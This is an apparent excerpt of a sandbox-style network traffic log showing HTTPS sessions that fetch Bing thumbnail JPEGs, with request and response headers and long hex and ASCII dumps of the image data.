2024-11-28 14:17:28 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 605873 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 60F2690AE0D846B78A6A32F7B368DC16 Ref B: EWR30EDGE0107 Ref C: 2024-11-28T14:17:28Z Date: Thu, 28 Nov 2024 14:17:28 GMT Connection: close
2024-11-28 14:17:28 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 35 3a 31 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 15:14:188C
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: d5 85 76 fe 09 f8 a3 6b 71 e2 0d 45 b5 48 3c a5 bc 7d d0 ec 7f e2 0b f7 7f ef 9d b8 af 56 8e 71 86 9d 47 0e 6f 4f 33 c2 c4 70 f6 26 9d 1e 78 2b ef a7 55 ad 91 e9 f8 a6 ec aa 7a 7e bf a2 de 6a 4f a7 c3 7f 07 da 16 6d a8 9b fe ff 00 a6 3e b4 cb 8d 4e 58 bc 79 6f a0 b4 1f bb 96 c5 a7 df fe d0 6f e5 5e 8c 6b 42 5b 33 c6 78 4a c9 b5 28 d9 a5 7f 91 a1 b2 93 65 61 78 a3 c6 7a 7e 83 7d f6 7b e4 93 cb 57 91 5e 5d ff 00 73 0a 8d ff 00 b3 56 d6 97 a8 59 ea 90 7d a2 c6 74 96 3d 8a df ee 65 77 0a 71 ab 07 27 14 f5 41 53 0b 52 10 53 94 6c 9f 51 fb 29 b8 a9 d9 0d 1b 2b 4e 64 60 d1 0b 2f c9 4d 64 a9 99 28 db 47 31 9c a3 72 1d b4 79 75 63 65 26 28 e6 29 41 22 1c 52 30 a9 b6 fb 52 62 ab 98 4f 6b 0c d9 4d 54 dd 53 6d a3 6d 1c c3 e5 22 c5 26 da 9b 6d 1b 68 e6 0e 56 43 b6 93 Data Ascii: vkqEH<}VqGoO3p&x+Uz~jOm>NXyoo^kB[3xJ(eaxz~}{W^]sVY}t=ewq'ASRSlQ)+Nd`/Md(G1ryuce&()A"R0RbOkMTSmm"&mhVC
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 5c 4c bb d1 fe ea 47 bb 6e ef fb ea be 79 6d 4e 48 2d 52 1b 59 ff 00 79 e7 37 93 fe c6 5b b5 69 78 f3 5f d4 35 9f 3a eb 54 d4 be d5 24 50 ac 50 bb fd ef 5c 71 5a 7f 6c c9 d3 b2 56 97 e8 4b e1 9a 50 c4 46 4d de 1d 7b df a1 e9 0d f1 76 2f b4 3d ba da 47 fb ab ef f8 f9 4f 99 5e 1d dd 02 7f 7b 6f bd 77 da 7f 88 ec 75 1b ad 32 3b 3f 99 75 48 64 91 37 bf cc 8a 9e d5 f2 6e 9b 2c ff 00 da 5f eb 37 36 c6 ff 00 81 d7 61 e0 5f 10 5c d9 78 8f 4f be 57 dd 1d 85 c7 9b b3 67 f0 f0 a4 54 e1 f3 59 c2 56 ad 2b de df 2b 9b 63 78 7e 84 e9 a7 42 36 6a ff 00 3d 0f a6 e6 f2 a0 81 e6 9a 4d b1 c4 8c ce ff 00 ec 8a e7 bc 0f e2 05 d5 fc 3f 36 a9 79 24 71 43 f6 ef 22 17 fa b7 c8 3f de ac 5f 1d 78 ee ce 7f 86 ba 85 d6 9b 7f 07 da a5 be 92 d9 11 3e f2 43 bb fa af 7a f2 fd 26 3d 5e 0d Data Ascii: \LGnymNH-RYy7[ix_5:T$PP\qZlVKPFM{v/=GO^{owu2;?uHd7n,_76a_\xOWgTYV++cx~B6j=M?6y$qC"?_x>Cz&=^
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: f4 c7 e5 c2 b0 f7 15 e8 d3 ce 64 9b 55 16 a7 95 5b 87 e8 ca 09 41 ff 00 c3 da c7 d2 b0 da 4b 2c fe 5c 71 ee 6a 5b 8b 09 e0 93 cb 68 eb c2 17 e3 27 8a 1e d5 34 db 39 23 b5 f2 a1 8d 7e e7 ef 7e 45 fe f7 be 33 55 7c 41 f1 07 c4 37 5a 6e 99 1f 9f fb eb 7b 7f 91 ff 00 89 f2 bb 5f 77 d4 57 5b ce 21 ad 91 e7 ae 1a a9 6b 3d fb df 44 7d 07 6b 6f f3 fe f3 f8 7f 82 a3 90 2e ff 00 97 ee d7 cf 3a 3f c4 6f 15 68 f7 5e 75 bd df da 17 ce dd 34 53 7e f7 7f cb 80 bf ee f3 da b5 fc 17 f1 1e fa cb c4 72 de 6b 8f 25 c2 df cd 6d f6 87 4d bb a1 8d 3e 53 f2 f4 cf cd 4e 19 bd 06 ef 2b a3 2a bc 3f 88 8a b4 2c da 3d b9 52 9d b7 da b8 2f 0f f8 9f fb 73 e3 f2 58 e9 fa f4 8b e1 d6 b7 65 ff 00 48 4d ab c7 7c 1f e2 af 40 5f 21 e3 f3 2d e7 8e 55 de cb fe d7 1d ff 00 1a eb a3 8c a5 59 da Data Ascii: dU[AK,\qj[h'49#~~E3U\|A7Zn{_wW[!k=D}ko.:?oh^u4S~rk%mM>SN+*?,=R/sXeHM\|@_!-UY
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: ba 9a d2 aa f9 df 63 a4 d4 34 6b c8 a0 b4 6d 52 3b 1f de cc db 1d 1f 6c 5b 76 fc bb bf fd 55 06 a9 ad 37 99 36 9e b0 5a c5 1f cd b3 ec 9f 75 3f 1f e2 ac 8d 1f 55 9f 53 b5 48 e4 ff 00 58 c8 cd 32 4a 9f ce a5 d6 a2 b3 fb 2f da 21 b8 93 cc 89 36 bc 29 f7 6b 27 0f e6 dc b7 34 ee e2 53 f1 13 5b 5e c6 8a c9 ba 38 be 6d f5 9c c2 7b bb 14 f2 e7 db 1c 50 ad b4 3b fe 55 da bd 6a 19 93 ca ba dc de 5a ab a3 2a 22 55 4d 1e f5 9a c5 19 a4 fd cd bb c9 f2 3d 74 a8 f2 d8 e5 e7 4b 51 da a6 9d a8 5e da c3 34 df c5 b6 37 d8 ff 00 2a 63 d3 d6 b5 74 9d 1b 4a 7d 1e e1 a6 bf f2 a3 8b e5 de ff 00 79 30 b9 c6 ec 54 5a 6c 77 8d 63 f6 8b 7f 9a 19 7e 67 4f f6 7f c6 a5 fe d5 b3 f2 ed ec ee 3c b9 63 8a e3 fd 4b d3 a9 51 b5 ca ba 02 71 4f 99 ad cb 3e 1b b6 d3 f4 e8 2e 21 fb 7f d9 e1 6f Data Ascii: c4kmR;l[vU76Zu?USHX2J/!6)k'4S[^8m{P;UjZ"UM=tKQ^47ctJ}y0TZlwc~gO<cKQqO>.!o
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: c3 22 ca f0 dc 7d e4 ac 9c ab d4 77 bb 68 da 34 68 53 77 49 5c 92 1d 23 43 96 e9 e4 64 8e 5f e1 d8 f5 72 d6 5d 0e ca 7f dd da 5a fd ff 00 9d 1d 2b 90 b1 b7 bc 96 d5 1a 4b 8d d3 2b ff 00 05 74 1e 1f f0 fd cd c6 fb eb ab f9 fc 95 fb e9 b1 57 7d 4d 48 28 7c 52 76 35 8c ef f0 c5 5c d5 5d 72 ce 0b 8f f4 18 37 46 cf b9 fe 4d ab 53 4d 7f 7c d2 42 d1 c1 e6 ac bf c0 9f 33 27 fb d5 95 70 34 8b 28 fc c8 6c 24 ba 65 f9 51 dd d9 ab 3a df 57 fb 45 d3 ad bf 97 6b e5 3f ce 89 f3 32 62 94 28 c2 5a c5 3f 98 dc f9 77 b1 d8 49 64 9f eb 26 83 73 7f 1e c7 aa 57 17 7a 62 fc cb 1c 71 79 4f b7 ee 57 3d 79 be 2b 59 a6 d4 35 6f 2a de 5f 97 ce 9a b3 b5 09 74 3b 78 d1 b5 0d 4b fd 16 57 da 92 bc fb 57 85 c9 ad e9 e1 93 66 15 2b a5 73 a1 6d 5e 5b 5d 49 24 5f 9a 3f e3 f9 f6 d5 ab ef 14 Data Ascii: "}wh4hSwI\#Cd_r]Z+K+tW}MH(\|Rv5\]r7FMSM\|B3'p4(l$eQ:WEk?2b(Z?wId&sWzbqyOW=y+Y5o*_t;xKWWf+sm^[]I$_?
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: eb 18 ca 4f 57 b1 bc 6b 25 be c5 29 2f ad 2f 2e 9d a4 8e eb 72 fc df e8 df 36 cd b5 7b 4f bb b3 b7 f0 fc d7 8b e7 ac cd f2 bc ce ff 00 c3 f4 a8 ed 6f 2c e5 ba 9b fb 1e 49 2d 64 57 da 89 0b ff 00 0e ef f3 9e 69 da f5 bc f7 16 af 63 6b 1c 93 cd 3c db 7f 72 9b 99 da b4 9d 45 a4 6d a1 9c a7 a6 86 ce 8f e2 5d 5f 44 d2 91 a1 b8 9f cb b8 f9 92 19 a3 fb eb bb fa d4 1a 97 88 e5 f1 04 17 12 5d 7c df c2 8f fc 49 f3 74 fa 56 86 9f e0 6d 7a e3 c9 8e e3 c8 d3 55 51 76 7d ad fe 67 f5 da 9c 9a ea bc 37 f0 e3 c2 ba 4c 9e 76 a9 77 7d 7f 33 3e ed 90 a7 95 17 e3 fc 55 cd 3c 45 28 b6 fa f9 1d 74 e8 e2 26 ad 6b 23 8d d1 f4 7d 6b c4 17 cb 0e 87 61 25 c2 af f1 fd d8 93 ea dd 2b d4 fe 1f fc 30 8b 49 f2 6e 35 6f 2f 52 bc 54 dd e4 fc de 45 b3 7f 26 fc 6b 56 eb c4 9a 56 97 1c 56 ba Data Ascii: OWk%)//.r6{Oo,I-dWick<rEm]_D]\|ItVmzUQv}g7Lvw}3>U<E(t&k#}ka%+0In5o/RTE&kVVV
2024-11-28 14:17:29 UTC	16067	IN	Data Raw: fd bb 13 6a f4 ae 3f c5 5e 33 6b 4f 11 d8 ac 7a 2c 7f 67 ff 00 55 f6 87 45 6f 25 bf a7 d6 ba 0d 1f 50 be 48 6e 35 2b 39 24 96 68 91 96 de 19 be 55 f4 19 ea 6b 06 3b 8d 56 de e9 64 f1 34 11 d8 43 13 b4 fb e1 db 2b 3c 7d 76 aa 54 d2 8a 8b 7d 47 52 ee c6 ee 83 ac 4f 2c 10 ac da b5 d3 2e cf f9 78 4f 97 fe 02 bc 1a d5 f3 76 dd 7d ba ea 79 1a 1d 9b 6d e1 ff 00 80 ee 38 fe b5 c3 ff 00 c2 67 e1 cd 5b 55 9a eb 4d b0 ff 00 c7 db 73 ff 00 bc d8 e2 b5 ad 6f f5 a6 8e 6b a8 7e cb 71 32 c3 e5 42 97 17 ca b1 26 7f fb 1a 3d 8a 4e c8 a5 51 b8 27 d4 d1 fe d0 95 27 ff 00 47 f2 3f 7a ff 00 7d 2e 95 99 33 f4 5e 29 b3 5e ac fb ed ed e0 82 fe 6f 97 e7 de cd b3 1f ee f5 ac 2d 53 c5 1a 0f 85 fc 33 6f 36 b1 e5 b3 5c 6e 57 86 df cb 65 fc ff 00 8a b3 ae 3e 2f 69 eb a9 3c 36 af 3d bd Data Ascii: j?^3kOz,gUEo%PHn5+9$hUk;Vd4C+<}vT}GRO,.xOv}ym8g[UMsok~q2B&=NQ''G?z}.3^)^o-S3o6\nWe>/i<6=
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: ff 00 3e 95 bb 67 04 b6 53 f9 77 57 f1 dc 46 a8 bb 1d fe 66 dd ef da ab e9 ba 8c 56 fa c2 58 c9 69 3c bb 9f ef c5 03 6d 4f c6 b8 9d 6d ee ca 8d 93 4d 96 7e df 02 5d 79 8d 6f 1f 9d fd cf ee 55 fd 4b 54 8e d3 47 76 b8 f9 2e a5 ff 00 80 d3 2d ec e5 9e e9 ee ad f4 d9 d5 7e ee f9 93 73 7f df 3d 16 ad d9 e9 cc 93 f9 d7 56 91 dc 4d ff 00 3d 9d d5 99 16 b9 e5 5a 9d d1 d4 bc 8c df 0b da 6d 46 d5 a6 83 73 33 fc 9f 27 a7 46 ad ab a5 dd fe b2 4f bc 9f 7f 7d 5b 69 19 23 dc de 5e d5 fe e5 52 be d4 2d ad fe 55 82 76 6f e3 d8 9b 7f fa f5 12 aa e7 2b d8 6a 9f 2a d1 94 21 11 2e b9 35 c3 47 b9 56 c6 35 ff 00 6b cc f3 1c ff 00 e8 3b 6a cc 8f 7d 3c 7b 6d 7c cf f6 f6 41 fe 35 5d 75 15 b7 be bb 92 4f f4 78 d6 18 f7 bf cb fe df ad 55 6f 15 d8 bc 9b 6e 35 68 d9 57 ef fe ff 00 f9 Data Ascii: >gSwWFfVXi<mOmM~]yoUKTGv.-~s=VM=ZmFs3'FO}[i#^R-Uvo+j*!.5GV5k;j}<{m\|A5]uOxUon5hW
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: f7 cf fd f5 4e f3 f4 54 81 d5 67 fd e7 de 77 d9 ba 9c a5 25 aa 14 a3 17 a1 8b ad 49 12 46 96 ad 1c 97 11 aa 2b 3f c9 f2 d2 69 ba 7c be 42 5f 5b cf f6 78 65 4f f5 3f 76 b5 2e ae 34 85 81 24 fd fc aa df f0 1a a5 35 9c 12 c9 34 30 c9 3d bf 94 9f 3f f7 68 e6 e6 d9 58 c9 c5 c6 ef 71 d6 62 7b 09 de e2 1b bb 1b 8b af bb b1 dd 77 54 3a b5 ce a0 f7 49 74 df ba 91 93 6e cd 9b 56 a6 b5 f0 e6 90 b7 c9 75 e7 bc b7 1b fe fb fc ad 53 c9 71 a5 35 f2 47 1f 99 2c 8a ff 00 3f de 6f ce a9 69 2b 20 4a a5 b5 38 ef ed 48 20 d0 fe c6 de 63 ee 75 67 d9 4b e1 bd 5e 5b 3b a9 bc 99 24 58 e2 4d bb d3 ef 73 59 0d aa 41 f6 5f 2f cc 4f 31 bf 82 8d 27 63 47 71 e6 4f f3 32 2a fc 95 ef c7 0e ef cd 63 c4 e7 be a6 87 88 ae 6c 5e e9 2d e1 9e ea e1 59 fe 7f 3b e6 d9 9e 78 aa d6 f1 cf 65 a5 7f Data Ascii: NTgw%IF+?i\|B_[xeO?v.4$540=?hXqb{wT:ItnVuSq5G,?oi+ J8H cugK^[;$XMsYA_/O1'cGqO2*cl^-Y;xe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49774	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:28 UTC	346	OUT	GET /th?id=OADD2.10239340418601_1XRLHD1YRS9ZZSDWX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 14:17:28 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 453802 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8041D884BCBD4B41B3952D8D7E4F713D Ref B: EWR311000103029 Ref C: 2024-11-28T14:17:28Z Date: Thu, 28 Nov 2024 14:17:28 GMT Connection: close
2024-11-28 14:17:28 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 30 3a 35 33 3a 35 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 00:53:538C
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 00 14 9d 69 cd ef 46 28 01 29 31 4b 45 00 36 8c 66 9d 48 d4 00 98 f6 a6 d3 bf 86 8a 00 6d 14 51 40 03 51 45 14 00 53 58 0d ad 9a 75 36 80 3e 64 fd a9 34 99 1f c4 53 eb 96 d6 77 b6 aa bb 76 c8 d9 df b1 be 55 57 c7 dc dd b5 8a a9 27 e4 03 8a f3 0f 0d ea 26 e7 58 81 2e 2f 3c a9 5b ee b6 dd aa a5 46 54 e5 7a 7e 15 f6 27 c5 cf b4 8f 06 df 49 2e 9b 63 a8 58 c7 6d 20 58 de 37 92 e1 65 61 b4 32 28 e3 9e 9e b8 af 98 b4 9f 01 db ea 1a 1e ae 20 db 3e bb 3b 47 16 97 a7 c1 26 d3 19 32 7c fb d7 bf cb c0 04 f1 d7 d2 bc fc 55 24 ea 5b b9 d3 19 b4 94 91 d0 7c 37 f8 8d 2e 8d aa 58 c9 e2 9d 31 7c 47 61 a7 7c eb 06 a0 de 61 8c 39 dc c2 22 d9 0a 49 c6 72 0d 74 9f 11 b4 6f 04 78 a7 e1 2a f8 c7 40 b9 d2 ec fc 49 3c 6d 25 ee 93 6c ce f3 2e d9 1d 9d ca f4 50 17 1c 91 81 c0 1c 9a Data Ascii: iF()1KE6fHmQ@QESXu6>d4SwvUW'&X./<[FTz~'I.cXm X7ea2( >;G&2\|U$[\|7.X1\|Ga\|a9"Irtox*@I<m%l.P
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: a5 66 52 76 f4 3a 8d 7b 46 f1 0f 87 ef af 34 0f 07 ea 17 da 87 87 75 25 59 d7 50 fb 33 d9 db de 18 a3 12 3c 8b e6 10 76 a6 78 3d fb 75 15 c0 de 5d 7d be ce 3b 21 6d 04 ac ae 1d ae f6 95 38 c6 36 16 fe e8 eb d3 24 fa d7 d0 df 1a bc 0f 73 a5 f8 4f 4e f1 06 b1 e1 9d 4a df c3 ad 1d b1 b9 8a ef 52 fb 4d e5 d3 88 b6 a0 79 d7 22 da 27 3b 4f 96 39 f9 07 e1 e1 ba ad fd a2 df 41 35 e6 9f 1e d5 60 5a d2 d2 4f 26 3e 07 40 dc 9f 43 9e 79 ac aa 5e 15 79 59 ad 93 8d cc 59 3c 3f aa c5 aa 7d 8c 2a ad d4 6c 06 d5 90 6f c9 1c 60 fd 3f 2a f5 5d 1b 5a f0 e6 a1 e0 55 f0 df c4 4b 9b 6b c8 f4 b8 a2 87 48 9e c7 09 75 a7 c7 cb 49 0a 6e 00 38 2d d4 93 d5 b3 ce da f3 dd 11 67 5b 79 75 9b 3b c8 e3 68 a7 cc 90 4a a5 f9 f4 3e c6 a2 d4 2c 52 ea 19 ef ed 25 8e 38 d6 42 15 59 be 66 20 64 Data Ascii: fRv:{F4u%YP3<vx=u]};!m86$sONJRMy"';O9A5`ZO&>@Cy^yYY<?}lo`?]ZUKkHuIn8-g[yu;hJ>,R%8BYf d
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: fd e7 da 06 e7 c7 7e 7a d6 ef 8c e2 93 51 b8 9c 78 62 ce 3d 3c d9 ca 51 64 da 3f 85 37 ba fc a3 e6 25 71 ed d7 9a 86 48 20 bb d1 f4 9d 70 5b 58 c5 6d 2c 19 6f 36 43 bb cf 07 1f 36 01 e7 1f 36 3d 2a 96 25 f2 a9 4d 7b ad ed e6 4c a8 f4 4f de 5d 7c 8a fa 83 96 f0 bc 77 11 34 92 19 62 52 cd b7 06 37 23 19 c7 d7 f2 cd 15 a7 65 a6 ea 1a a5 af 9b 79 72 b6 ad 6d 11 78 a1 8d 42 b4 91 9f 9c 10 49 c7 3d 4f a5 15 9d 3a d4 6d 69 3d 4d 9d 1a 93 49 d8 fb c7 14 11 4b 45 7d 91 f3 63 68 a7 63 da 93 14 00 ca 29 e4 52 35 00 35 85 14 ea 6d 00 23 52 63 da 9d 46 3d a8 0e a3 69 31 4e c6 69 68 01 98 a4 a7 63 da 8a 00 6d 23 53 e9 31 40 ac 25 26 29 71 ed 45 3b 88 6d 18 f6 a7 74 a2 90 f6 23 a2 9d 45 01 b8 da 29 d4 98 a0 42 53 7a 53 a8 c7 b5 3b 80 da 29 71 46 28 b8 0d c5 25 3a 8a 2e Data Ascii: ~zQxb=<Qd?7%qH p[Xm,o6C66=*%M{LO]\|w4bR7#eyrmxBI=O:mi=MIKE}chc)R55m#RcF=i1Nihcm#S1@%&)qE;mt#E)BSzS;)qF(%:.
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: f8 71 6f 1e 81 69 aa dc e9 57 11 b1 f2 ec a7 8f 62 ae f7 da d2 c5 22 e7 81 d4 b9 e9 57 19 46 1f bc 9f c2 82 10 a9 37 cb 05 76 7b e6 b5 f1 4f 44 f8 29 f0 9f 4f b7 92 f3 50 be d7 af ad 04 f1 40 d1 c4 d6 f9 25 d6 14 95 88 dc aa 91 a8 da 9d 76 fa 66 bc 5e f3 fe 16 0f 8f 23 b7 b8 d6 2c 6e ed b5 2d 42 5f 32 f6 59 2d 8c 6e d1 b7 cc 90 40 a4 12 7e 52 a7 1e 86 ab 5a db 47 e1 cd 3e c6 fe 7d 71 a2 d6 63 dd 22 ea f7 30 0b c6 87 cd 38 69 16 37 e0 b0 5f 95 49 fc 31 5e 95 f0 a7 59 7f 17 fc 44 d2 b4 ff 00 0b de 6b 36 d7 36 96 92 95 9e ee d0 23 dc 3a a6 f2 e8 b9 3f eb 0e 72 d9 e9 ed 8a e1 a9 5a 9e 36 2a 10 5a 26 7a 94 e9 cb 08 db 97 55 73 9e 87 e1 d7 89 3c 33 a1 da a5 cc 0b 38 56 32 41 7a d2 22 99 0e 0f 0e c3 b7 5e 09 f5 aa 3f 0d 7e 0b 78 87 c7 1e 32 d5 65 b2 d4 23 b6 b0 Data Ascii: qoiWb"WF7v{OD)OP@%vf^#,n-B_2Y-n@~RZG>}qc"08i7_I1^YDk66#:?rZ6*Z&zUs<38V2Az"^?~x2e#
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: ed 23 fd 1a 3b 66 8a 3b 55 f9 59 97 6a aa 1e 7e 5f 4f eb 4b e1 fb cb 9d 3e e9 af 74 8b 1f 35 67 51 0f 97 b7 63 29 27 e5 1f ec 8c f3 c5 36 fa c6 fe db 56 9e e7 57 bc fb 65 da a0 12 47 0c 86 44 86 33 c9 27 b6 05 65 18 a5 59 4a ff 00 23 aa 32 fd cf 2d b5 7d 4c bd 3f 51 d4 34 88 63 b8 8a 76 8e 4f 28 ec fe ee 0f 50 7b 9c 8a a7 af 5e 49 2e b1 3c a6 06 8f ed 4c b3 6c 8f fe 59 83 cf 53 cf bd 6c d8 0d 32 6b 59 0e a2 de 7c d2 3b 79 4d 17 4c 0f ba 3e 87 26 b2 bc 49 34 b1 cd 1c 56 f0 46 bb 63 03 72 fd f6 e7 ab 66 ba 60 ef 3d b5 39 aa 26 a1 be 84 5a ad 85 b4 93 2d cd e2 fd 94 49 8d b1 f5 91 b3 d0 af 6c 7f 2a a3 79 3c 90 d9 c9 6c 7c b8 83 61 f7 7d e7 5e dd 7d eb aa f3 af 35 cf 0d ac 5a 8e 9f e5 5c c1 81 6d 3c 7f f2 d0 20 fb a5 7a e7 df a1 35 91 a8 43 04 1e 19 c3 c1 b6 Data Ascii: #;f;UYj~_OK>t5gQc)'6VWeGD3'eYJ#2-}L?Q4cvO(P{^I.<LlYSl2kY\|;yML>&I4VFcrf`=9&Z-Il*y<l\|a}^}5Z\m< z5C
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 7b 52 62 9d 8a 3a d0 03 5a 91 85 3b 1e d4 84 50 02 51 4a 45 23 50 03 5a 8a 75 26 28 01 94 63 da 9d 4d a0 56 06 14 98 a7 35 18 a7 70 b0 cc 7b 51 8f 6a 75 26 28 b8 58 6e 29 31 ed 52 53 71 ed 45 c2 c3 71 ed 48 c2 9e c2 93 14 c5 61 98 f6 a3 1e d4 ec 7b 50 d4 00 c6 14 8c 2a 4a 6d 00 37 1e d4 98 a7 62 86 14 00 cc 7b 52 63 14 fc 7b 51 40 0c c5 26 3d a9 f8 a4 c7 b5 00 37 1e d4 98 a7 62 8c 50 03 28 61 4e f9 69 31 40 0c a5 6a 76 29 94 ee 2b 05 36 9f 8a 46 14 5c 2c 26 29 1a 9d 8f 6a 28 b8 58 8e 95 a9 69 b4 5c 41 45 2e 29 29 00 53 69 d4 50 03 71 ed 4d a7 51 40 0d a4 c5 2d 0d 40 09 8a 4a 5c 52 d3 b8 0d a6 d3 a8 eb 45 c5 61 b4 51 45 31 08 d4 b4 51 40 0d a6 d4 94 da 00 6d 14 ea 46 a0 04 a8 2f d6 e0 db e6 d1 95 65 5e 55 64 5d cb 20 1d 57 f1 f5 ec 6a 7a 31 9a 00 cd f0 e6 Data Ascii: {Rb:Z;PQJE#PZu&(cMV5p{Qju&(Xn)1RSqEqHa{P*Jm7b{Rc{Q@&=7bP(aNi1@jv)+6F\,&)j(Xi\AE.))SiPqMQ@-@J\REaQE1Q@mF/e^Ud] Wjz1
2024-11-28 14:17:29 UTC	16069	IN	Data Raw: d4 50 03 31 46 05 2d 0c 28 01 b4 8c 29 d8 a5 a0 08 f1 ed 46 3d a9 d4 da 35 01 31 8a 46 a7 51 4e e0 31 86 69 2a 4a 6b 0a 2e 03 5a 93 ad 3b 14 62 8b a0 19 4d a9 1a 8a 2e 03 1a 91 bf f1 da 76 3d a8 61 45 c0 66 29 68 c7 b5 18 f6 a2 e0 33 14 35 3e 9b 4c 56 1b 45 2e 29 18 50 20 a6 b5 3a 93 19 a7 70 19 4b fc 54 b4 66 8b 80 d6 07 14 51 46 3d a8 b8 0c c5 25 3f 14 62 8b a1 58 65 14 ea 6d 31 0d 61 4d a9 31 ed 49 8a 00 63 51 4e c7 b5 26 28 01 ac 0e ea 4a 76 3d a8 61 40 11 d2 e2 9d 8a 4c 7b 50 03 68 a5 c6 29 28 00 a6 e3 da 9d 45 00 36 91 a9 68 a0 56 1b 43 51 45 02 1a d4 63 da 9d 45 00 47 45 3b 1e d4 da 00 28 a2 8a 00 4c 52 63 da 95 a8 6a 00 6e 29 31 4e a3 1e d4 ee 2b 0c c7 e7 49 29 11 a3 b9 e9 1a 92 df 87 35 c3 7c 4c f8 a1 e0 ff 00 0b dd 36 99 af 6b d1 e8 f2 06 c3 7d Data Ascii: P1F-()F=51FQN1i*Jk.Z;bM.v=aEf)h35>LVE.)P :pKTfQF=%?bXem1aM1IcQN&(Jv=a@L{Ph)(E6hVCQEcEGE;(LRcjn)1N+I)5\|L6k}
